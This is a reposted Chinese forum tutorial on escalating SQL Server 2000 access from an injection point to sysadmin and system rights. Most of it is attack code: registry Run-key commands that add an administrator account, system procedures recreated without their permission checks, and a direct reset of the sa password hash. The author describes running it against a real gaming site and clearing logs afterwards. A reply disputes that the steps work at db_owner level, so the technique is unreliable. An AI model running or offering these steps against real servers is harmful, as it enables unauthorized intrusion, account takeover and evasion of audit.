发新话题
打印

[转载]sql injection终极利用方法

[转载]sql injection终极利用方法

信息来源:Powers's BBS

sql injection终极利用方法                    

                   ————只要给我一个注射点,无论什么权限,我

都给你一个webshell甚至系统权限
                 
原创:许文强(xwq),QQ:57133683

声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为

发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很

大,所以请大家不要对国内的站点做任何具有破坏性的操作。


考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是

有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢

把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到

webshell甚至系统权限)。
    记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种

利用xp_regwrite来取得系统权限的方法:xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','x

wq1','REG_SZ','net user xwq xwq /add'
xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','x

wq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在

的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不

太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发

动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(

除非是你十分想要搞定的网站)。

     呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大

必杀技之一————万能提权。

    假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权

限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿

到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,

sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只

会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都

已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系

统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说

backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》

里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,

你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权

限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议

,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)

    呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这

就把我的三大必杀技之一————万能提升权限方法告诉大家。

    在告诉大家之前,我们先做个实验

    实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新

建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都

不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq

连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?


服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 'xwq' 没有运行 DBCC auditevent 的权限。

服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。


呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固

定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我

所用呢?我们在这里看一下sp_addlogin的代码:
复制内容到剪贴板
代码:
create procedure sp_addlogin
   @loginame  sysname
  ,@passwd      sysname = Null
  ,@defdb       ; ; sysname = 'master'    -- UNDONE: DEFAULT

CONFIGURABLE???
  ,@deflanguage   sysname = Null
  ,@sid  varbinary(16) = Null
  ,@encryptopt  varchar(20) = Null
AS
   -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret   int   -- return value of sp call

   -- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
   dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
   raiserror(15247,-1,-1)
   return (1)
end
ELSE
begin
   dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end

   -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
end

   -- VALIDATE LOGIN NAME AS:
   --  (1) Valid SQL Name (SQL LOGIN)
   --  (2) No backslash (NT users only)
   --  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
      return (1)
   if (charindex(&#39;\&#39;, @loginame) > 0)
   begin
      raiserror(15006,-1,-1,@loginame)
      return (1)
   end

--Note: different case sa is allowed.
if (@loginame = &#39;sa&#39; or lower(@loginame) in (&#39;public&#39;))
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end

   -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
  raiserror(15010,-1,-1,@defdb)
    return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
  return (1)
end
ELSE
begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
  select @deflanguage = N&#39;us_english&#39;
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
  raiserror(15419,-1,-1)
  return (1)
end
else if @sid is null
  select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
  raiserror(15433,-1,-1)
  return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
else if @encryptopt = &#39;skip_encryption_old&#39;
begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
  @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> &#39;skip_encryption&#39;
begin
  raiserror(15600,-1,-1,&#39;sp_addlogin&#39;)
  return 1
end

   -- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
      (NULL, @sid, @xstatus, getdate(),
         getdate(), @loginame, convert(varbinary(256), @passwd),
         db_id(@defdb), @deflanguage)
if @@error <> 0  -- this indicates we saw duplicate row
      return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

   -- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return  (0) -- sp_addlogin

GO

之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行

sp_addlogin,主要是这里一段再搞鬼
   -- CHECK PERMISSIONS --
IF (not is_srvrolemember(&#39;securityadmin&#39;) = 1)
begin
   dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
   raiserror(15247,-1,-1)
   return (1)
end
ELSE
begin
   dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
好,我们先把sp_addlogin删拉

drop procedure sp_addlogin


然后再来恢复sp_addlogin
复制内容到剪贴板
代码:
create procedure sp_addlogin
   @loginame  sysname
  ,@passwd      sysname = Null
  ,@defdb       ; ; sysname = &#39;master&#39;    -- UNDONE: DEFAULT

CONFIGURABLE???
  ,@deflanguage   sysname = Null
  ,@sid  varbinary(16) = Null
  ,@encryptopt  varchar(20) = Null
AS
   -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret   int   -- return value of sp call
   
   -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  raiserror(15002,-1,-1,&#39;sp_addlogin&#39;)
  return (1)
end

   -- VALIDATE LOGIN NAME AS:
   --  (1) Valid SQL Name (SQL LOGIN)
   --  (2) No backslash (NT users only)
   --  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
      return (1)
   if (charindex(&#39;\&#39;, @loginame) > 0)
   begin
      raiserror(15006,-1,-1,@loginame)
      return (1)
   end

--Note: different case sa is allowed.
if (@loginame = &#39;sa&#39; or lower(@loginame) in (&#39;public&#39;))
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end

   -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
  raiserror(15010,-1,-1,@defdb)
    return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
  return (1)
end
ELSE
begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
  select @deflanguage = N&#39;us_english&#39;
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
  raiserror(15419,-1,-1)
  return (1)
end
else if @sid is null
  select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
  raiserror(15433,-1,-1)
  return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
else if @encryptopt = &#39;skip_encryption_old&#39;
begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
  @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> &#39;skip_encryption&#39;
begin
  raiserror(15600,-1,-1,&#39;sp_addlogin&#39;)
  return 1
end

   -- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
      (NULL, @sid, @xstatus, getdate(),
         getdate(), @loginame, convert(varbinary(256), @passwd),
         db_id(@defdb), @deflanguage)
if @@error <> 0  -- this indicates we saw duplicate row
      return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

   -- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return  (0) -- sp_addlogin
GO


这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器

里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具

有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变

成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的

用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么

让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让

sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的

一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码
复制内容到剪贴板
代码:
:create procedure sp_addsrvrolemember
   @loginame sysname,  -- login name
   @rolename sysname = NULL -- server role name
as
   -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret      int,   -- return value of sp call
         @rolebit   smallint,
         @ismem    int

   -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  raiserror(15002,-1,-1,&#39;sp_addsrvrolemember&#39;)
  return (1)
end

   -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
   select @ismem = is_srvrolemember(@rolename)
   if @ismem is null
   begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
      raiserror(15402, -1, -1, @rolename)
      return (1)
   end
   if @ismem = 0
begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
  raiserror(15247,-1,-1)
  return (1)
end

-- AUDIT A SUCCESSFUL SECURITY CHECK --
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)

   -- CANNOT CHANGE SA ROLES --
   if @loginame = &#39;sa&#39;
   begin
      raiserror(15405, -1 ,-1, @loginame)
      return (1)
   end

   -- OBTAIN THE BIT FOR THIS ROLE --
   select @rolebit = CASE @rolename
         WHEN &#39;sysadmin&#39;      THEN 16
         WHEN &#39;securityadmin&#39;   THEN 32
         WHEN &#39;serveradmin&#39;    THEN 64
         WHEN &#39;setupadmin&#39;     THEN 128
         WHEN &#39;processadmin&#39;    THEN 256
         WHEN &#39;diskadmin&#39;      THEN 512
         WHEN &#39;dbcreator&#39;      THEN 1024
  WHEN &#39;bulkadmin&#39;  THEN 4096
         ELSE NULL END

   -- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
   begin
      execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
      if (@ret <> 0)
    begin
    raiserror(15007,-1,-1,@loginame)
    return (1)
    end
   end

   -- UPDATE ROLE MEMBERSHIP --
   update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
    where name = @loginame and srvid IS NULL

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

raiserror(15488,-1,-1,@loginame,@rolename)

   -- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember

GO



把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
   select @ismem = is_srvrolemember(@rolename)
   if @ismem is null
   begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
      raiserror(15402, -1, -1, @rolename)
      return (1)
   end
   if @ismem = 0
begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
  raiserror(15247,-1,-1)
  return (1)
end
这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就

成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限

,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或

者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和

sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程

,利用我的万能提权必杀技,我们都可以使用。比如:sp-

configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很

多只好sysadmin权限能利用的,我们都可以让他们为我所用。

下面再举一个万能提权的例子

和我一起打造一个永远不会被杀及完美的后门

我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员

登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一

篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可

以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才

可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实

也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配

置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin

和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一

段删除,再重建,我们就好用拉。
复制内容到剪贴板
代码:
CREATE PROCEDURE sp_configure  --- 1996/08/14 09:43

   @configname  varchar(35) = NULL  -- option name to configure
  ,@configvalue  int      = NULL  -- new configuration value
as

set nocount on

declare
   @confignum            int  --Num of the opt to be configured
  ,@configcount           int  --Num of options like @configname
  ,@show_advance          int  --Y/N Read&Write actions on

"advanced" opts

declare @fullconfigname  varchar (35)
declare @prevvalue  int
/*
**  Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
  select @show_advance = 1  -- Display advanced options
else
  select @show_advance = 0  -- Don&#39;t display advanced options

/*
**  Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and

type=&#39;C&#39;)
  <> @@max_connections

  update master.dbo.spt_values
    set high = @@max_connections
    where number = 103
      and type=&#39;C&#39;

/*
**  If no option name is given, the procedure will just print out all

the
**  options and their values.
*/
if @configname is NULL
  begin
    select name, minimum = low, maximum = high,
      config_value = c.value,
      run_value = master.dbo.syscurconfigs.value
    from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
    where type = &#39;C&#39;
      and number = c.config
      and number = master.dbo.syscurconfigs.config

      and
          ((c.status & 2 <> 0 and @show_advance = 1)
             OR
          (c.status & 2  = 0)
          )
    order by lower(name)

    return (0)
  end

/*
**  Use @configname and try to find the right option.
**  If there isn&#39;t just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),

@prevvalue = min (c.value)
  from master.dbo.spt_values v ,master.dbo.sysconfigures c
  where v.name like &#39;%&#39; + @configname + &#39;%&#39; and v.type = &#39;C&#39;
    and v.number = c.config
    and
         ((c.status & 2 <> 0 and @show_advance = 1)
             OR
          (c.status & 2  = 0)
         )

/*
**  If no option, show the user what the options are.
*/
if @configcount = 0
  begin
    raiserror (15123,-1,-1,@configname)

    print &#39; &#39;
    raiserror (15456,-1,-1)

    /*
    ** Show the user what the options are.
    */
    select name, minimum = low, maximum = high,
      config_value = c.value,
      run_value = master.dbo.syscurconfigs.value
    from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
    where type = &#39;C&#39;
      and number = c.config
      and number = master.dbo.syscurconfigs.config

      and
          ((c.status & 2 <> 0 and @show_advance = 1)
              OR
          (c.status & 2  = 0)
          )

    return (1)
  end

/*
**  If more than one option like @configname, show the duplicates and

return.
*/
if @configcount > 1
  begin
    raiserror (15124,-1,-1,@configname)
    print &#39; &#39;

    select duplicate_options = name
    from master.dbo.spt_values,master.dbo.sysconfigures c
    where name like &#39;%&#39; + @configname + &#39;%&#39;
      and type = &#39;C&#39;
      and number = c.config
      and
          ((c.status & 2 <> 0 and @show_advance = 1)
              OR
          (c.status & 2  = 0)
          )

    return (1)
  end
else
  /* There must be exactly one, so get the full name. */
  select @configname = name --,@value_in_sysconfigures = c.value
    from master.dbo.spt_values,master.dbo.sysconfigures c
    where name like &#39;%&#39; + @configname + &#39;%&#39; and type = &#39;C&#39;
      and number = c.config
      and
          ((c.status & 2 <> 0 and @show_advance = 1)
              OR
          (c.status & 2  = 0)
          )

/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin

  select     v.name
           ,v.low  as &#39;minimum&#39;
           ,v.high  as &#39;maximum&#39;
           ,c.value as &#39;config_value&#39;
           ,u.value as &#39;run_value&#39;
      from
            master.dbo.spt_values    v  left outer join
            master.dbo.sysconfigures  c  on v.number = c.config
                                 left outer join
            master.dbo.syscurconfigs  u  on v.number = u.config
      where
            v.type = &#39;C  &#39;
      and   v.name like &#39;%&#39; + @configname + &#39;%&#39;
      and
           ((c.status & 2 <> 0 and @show_advance = 1)
                OR
            (c.status & 2  = 0)
           )

  return (0)
end

/*
**  Now get the configuration number.
*/
select @confignum = number
  from master.dbo.spt_values,master.dbo.sysconfigures c
  where type = &#39;C&#39;
    and (@configvalue between low and high or @configvalue = 0)
    and name like &#39;%&#39; + @configname + &#39;%&#39;
    and number = c.config
    and
         ((c.status & 2 <> 0 and @show_advance = 1)
             OR
          (c.status & 2  = 0)
         )

/*
**  If this is the number of default language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
  begin
  if not exists (select * from master.dbo.syslanguages
      where langid = @configvalue)
    begin
      /* 0 is default language, us_english */
      if @configvalue <> 0
         begin
           raiserror(15127,-1,-1)
           return (1)
         end
    end
  end

/*
**  If this is the number of kernel language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
  begin
  if not exists (select * from master.dbo.syslanguages
      where langid = @configvalue)
    begin
      /* 0 is default language, us_english */
      if @configvalue <> 0
         begin
           raiserror(15028,-1,-1)
           return (1)
         end
    end
  end

/*
**  "user options" should not try to set incompatible options/values.
*/
if @confignum = 1534  --"user options"
  begin

  if (@configvalue & (1024+2048) = (1024+2048)) --

ansi_null_default_on/off
    begin
    raiserror(15303,-1,-1,@configvalue)
    return (1)
    end
  end

/*
**  Although the @configname is good, @configvalue wasn&#39;t in range.
*/
if @confignum is NULL
  begin
  raiserror(15129,-1,-1,@configvalue,@configname)
  return (1)
  end

--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)

#12828.

/*
**  Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
  where config = @confignum

/*
** Flush the procedure cache - this is to account for options which

become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache

raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

log

return (0) -- sp_configure
GO



ok,我们再
sp_configure &#39;allow updates&#39;,1
go
RECONFIGURE WITH OVERRIDE
go

好拉这样我们才好更改sa的密码。接着update sysxlogins set

password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C

BB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改

成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完

全删除sa这个后门》。



实例:
    下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行

一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。

www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候)

,在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测

试可真花费拉我不少时间,别误会,我不是说时间花在“检测”上,而是都放在

写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分

钟不到)。
   在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能

要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,

我当然是在我写的程序里面输入拉)
复制内容到剪贴板
代码:
create procedure  sp_addlogin
   @loginame  sysname
  ,@passwd      sysname = Null
  ,@defdb       ; ; sysname = &#39;master&#39;    -- UNDONE: DEFAULT

CONFIGURABLE???
  ,@deflanguage   sysname = Null
  ,@sid  varbinary(16) = Null
  ,@encryptopt  varchar(20) = Null
AS
   -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret   int   -- return value of sp call
   
   -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  raiserror(15002,-1,-1,&#39;sp_addlogin&#39;)
  return (1)
end

   -- VALIDATE LOGIN NAME AS:
   --  (1) Valid SQL Name (SQL LOGIN)
   --  (2) No backslash (NT users only)
   --  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
      return (1)
   if (charindex(&#39;\&#39;, @loginame) > 0)
   begin
      raiserror(15006,-1,-1,@loginame)
      return (1)
   end

--Note: different case sa is allowed.
if (@loginame = &#39;sa&#39; or lower(@loginame) in (&#39;public&#39;))
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end

   -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
  raiserror(15010,-1,-1,@defdb)
    return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
  return (1)
end
ELSE
begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
  select @deflanguage = N&#39;us_english&#39;
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
  raiserror(15419,-1,-1)
  return (1)
end
else if @sid is null
  select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
  raiserror(15433,-1,-1)
  return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
else if @encryptopt = &#39;skip_encryption_old&#39;
begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
  @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> &#39;skip_encryption&#39;
begin
  raiserror(15600,-1,-1,&#39;sp_addlogin&#39;)
  return 1
end

   -- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
      (NULL, @sid, @xstatus, getdate(),
         getdate(), @loginame, convert(varbinary(256), @passwd),
         db_id(@defdb), @deflanguage)
if @@error <> 0  -- this indicates we saw duplicate row
      return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

   -- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return  (0) -- sp_addlogin
GO

OK,我们新建个用户exec master..sp_addlogin xwq


再drop procedure sp_addsrvrolemember,然后在IE里输入
复制内容到剪贴板
代码:
create procedure sp_addsrvrolemember
   @loginame sysname,  -- login name
   @rolename sysname = NULL -- server role name
as
   -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret      int,   -- return value of sp call
         @rolebit   smallint,
         @ismem    int

   -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  raiserror(15002,-1,-1,&#39;sp_addsrvrolemember&#39;)
  return (1)
end

   
   -- CANNOT CHANGE SA ROLES --
   if @loginame = &#39;sa&#39;
   begin
      raiserror(15405, -1 ,-1, @loginame)
      return (1)
   end

   -- OBTAIN THE BIT FOR THIS ROLE --
   select @rolebit = CASE @rolename
         WHEN &#39;sysadmin&#39;      THEN 16
         WHEN &#39;securityadmin&#39;   THEN 32
         WHEN &#39;serveradmin&#39;    THEN 64
         WHEN &#39;setupadmin&#39;     THEN 128
         WHEN &#39;processadmin&#39;    THEN 256
         WHEN &#39;diskadmin&#39;      THEN 512
         WHEN &#39;dbcreator&#39;      THEN 1024
  WHEN &#39;bulkadmin&#39;  THEN 4096
         ELSE NULL END

   -- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
   begin
      execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
      if (@ret <> 0)
    begin
    raiserror(15007,-1,-1,@loginame)
    return (1)
    end
   end

   -- UPDATE ROLE MEMBERSHIP --
   update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
   
[code]where name = @loginame and srvid IS NULL

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

raiserror(15488,-1,-1,@loginame,@rolename)

   -- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember
[/code]
GO


接着再exec master..sp_addsrvrolemember xwq,sysadmin
我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在

www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想

大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号

,清除日志,闪人。



看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,

无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升

权限方法的确是有点夸张拉,因为CREATE PROCEDURE 的权限默认授予 sysadmin

固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是

碰到Public的权限,那就不好使用拉。

不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相

反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。

最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要

是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色

拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除

去,看来M$对我们这些“坏人”还是很厚爱的哦)


后记

这篇文章是我自2004年4月份装上SQL以来利用课余时间学习研究的,12月初旬写

完,由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开

而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点

做任何具有破坏性的操作。

再这篇文章里我并没有提到public权限的用户怎么拿到webshell或者系统权限,

而据我所知public权限的用户拿到webshell甚至系统权限的方法至少5种(偶目前

只会5种,可能还有更多的方法,要是哪位高手会更多,希望能不吝赐教,偶先谢

拉),鉴于危害实在太太大,现在还不是公布这些关键技术细节的时候,等到拉

一个适当的时机,我会把我所掌握的知识无私奉献给大家再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。

(欢迎转载,请保持文章的完整性)
广告位招商! 联系人:neeao E-Mail:neeaocn(at)gmail.com Msn:neeao@hotmail.com Site:http://www.neeao.com

TOP

编者:本着探讨的原则,发一下firefox对本文的一点疑问:

首先drop procedure sp_addlogin 没权限
其次INSERT INTO master.dbo.sysxlogins也没权限,不知道你怎么执行的储存过程,储存过程不过是简化了操作步骤,没有你说的那么神奇,不比扩展储存过程,利用了dll内置的函数,权限问题你考虑的太轻松了


???
一个新的生命已经诞生!http://netbaby.org

TOP

发新话题